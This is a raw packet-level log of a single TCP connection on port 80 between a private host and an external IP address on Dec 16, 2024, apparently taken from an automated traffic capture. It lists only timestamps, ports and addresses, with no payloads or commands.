Dec 16, 2024 17:02:30.034687042 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.034727097 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.035252094 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.035351992 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.035362005 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.035397053 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.036190987 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.036240101 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.036425114 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.036434889 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.036489964 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.036955118 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.037062883 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.037075043 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.037116051 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.037601948 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.037643909 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.037708044 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.037719965 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.037758112 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.038309097 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.038587093 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.038633108 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.038710117 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.038722038 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.038764954 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.039082050 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.039211988 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.039222956 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.039261103 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.039762020 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.039848089 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.039854050 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.039859056 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.039897919 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.040453911 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.040572882 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.040616989 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.040709972 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.041265965 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.041356087 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.041486025 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.041497946 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.041536093 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.042195082 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.042383909 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.042393923 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.042438030 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.050915956 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.157454014 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.157547951 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.157560110 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.157614946 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.158058882 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.158070087 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.158081055 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.158092976 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.158108950 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.158143997 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.158917904 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.158931017 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.158961058 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.159291983 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.159302950 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.159321070 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.159344912 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.159461975 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.159821033 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.159832001 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.159889936 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.215784073 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.215874910 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.215886116 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.215929985 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.216207981 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.216248989 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.216567039 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.216578007 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.216633081 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.216780901 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.216792107 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.216844082 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.217283964 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.217427969 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.217438936 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.217463970 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.218017101 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.218090057 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.218130112 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.218142033 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.218175888 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.218823910 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.218991995 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.219002962 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.219031096 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.219825029 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.219862938 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.320909023 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.375790119 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395714045 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395736933 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395749092 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395761013 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395771980 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395783901 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395795107 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395804882 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395816088 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395812988 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.395813942 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.395827055 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395837069 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395848989 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395859003 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395869970 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395880938 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395889997 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.395889997 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.395889997 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.395891905 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395889997 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.395901918 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395914078 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395926952 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395934105 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.395941019 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395951986 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395957947 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.395962954 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395973921 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395984888 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395994902 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.395998001 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396006107 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396015882 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396025896 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396033049 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396044016 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396054983 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396055937 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396065950 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396075964 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396076918 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396085978 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396094084 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396097898 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396109104 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396119118 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396130085 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396131039 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396142006 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396152973 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396157980 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396163940 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396173954 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396174908 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396183968 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396189928 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396189928 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396195889 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396204948 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396215916 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396225929 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396229029 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396236897 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396246910 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396255970 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396258116 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396269083 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396272898 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396280050 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396290064 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396290064 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396301031 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396305084 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396311998 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396323919 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396330118 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396334887 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396346092 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396356106 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396358013 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396369934 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396374941 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396384954 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396394968 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396397114 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396404982 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396415949 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396423101 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396425962 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396436930 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396437883 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396446943 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396457911 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396466970 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396470070 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396481037 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396491051 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396491051 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396506071 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396507978 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396517038 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396524906 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396528006 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396538019 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396548986 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396576881 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396708012 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396718979 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396728992 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396739960 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396749973 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396759987 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396760941 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396770954 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396786928 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396787882 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396797895 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396810055 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396820068 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396825075 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396831036 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396841049 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396846056 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396851063 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.396869898 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.396884918 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.403961897 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.608191013 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.608283043 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.608294964 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.608344078 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.608697891 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.608710051 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.608722925 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.608743906 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.608771086 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.609424114 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.609613895 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.609625101 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.609662056 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.610210896 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.610223055 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.610234976 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.610260963 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.610280037 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.611022949 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.611278057 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.611289024 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.611323118 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.611582994 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.611845016 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.611856937 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.611911058 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.611911058 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.612344027 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.612361908 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.612375021 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.612406969 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.612950087 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.613102913 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.613114119 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.613137007 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.613153934 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.613888025 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.613945007 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.613955975 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.613991976 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.614540100 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.614578009 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.614746094 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.614763975 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.614804983 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.615581989 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.615729094 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.615740061 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.615760088 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.616504908 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.616609097 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.616651058 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.616662979 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.616695881 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.617281914 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.617449999 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.617460966 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.617495060 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.618031025 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.618066072 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.618159056 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.618170023 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.618197918 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.619398117 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.619535923 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.619549990 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.619571924 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.620332003 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.620373964 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.620563030 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.620573997 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.620619059 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.789485931 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789504051 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789515972 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789525986 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789537907 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789547920 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789560080 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789566040 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.789570093 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789582014 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789597988 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.789604902 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.789609909 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789622068 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789632082 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789643049 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789653063 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789659977 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.789666891 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789676905 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789685965 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.789686918 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789697886 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789704084 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.789707899 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789719105 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789725065 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.789731026 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789741039 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789751053 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789761066 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789762020 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.789771080 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789781094 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789788008 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.789792061 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789802074 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789813042 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789823055 CET	80	49714	138.124.35.95	192.168.2.8
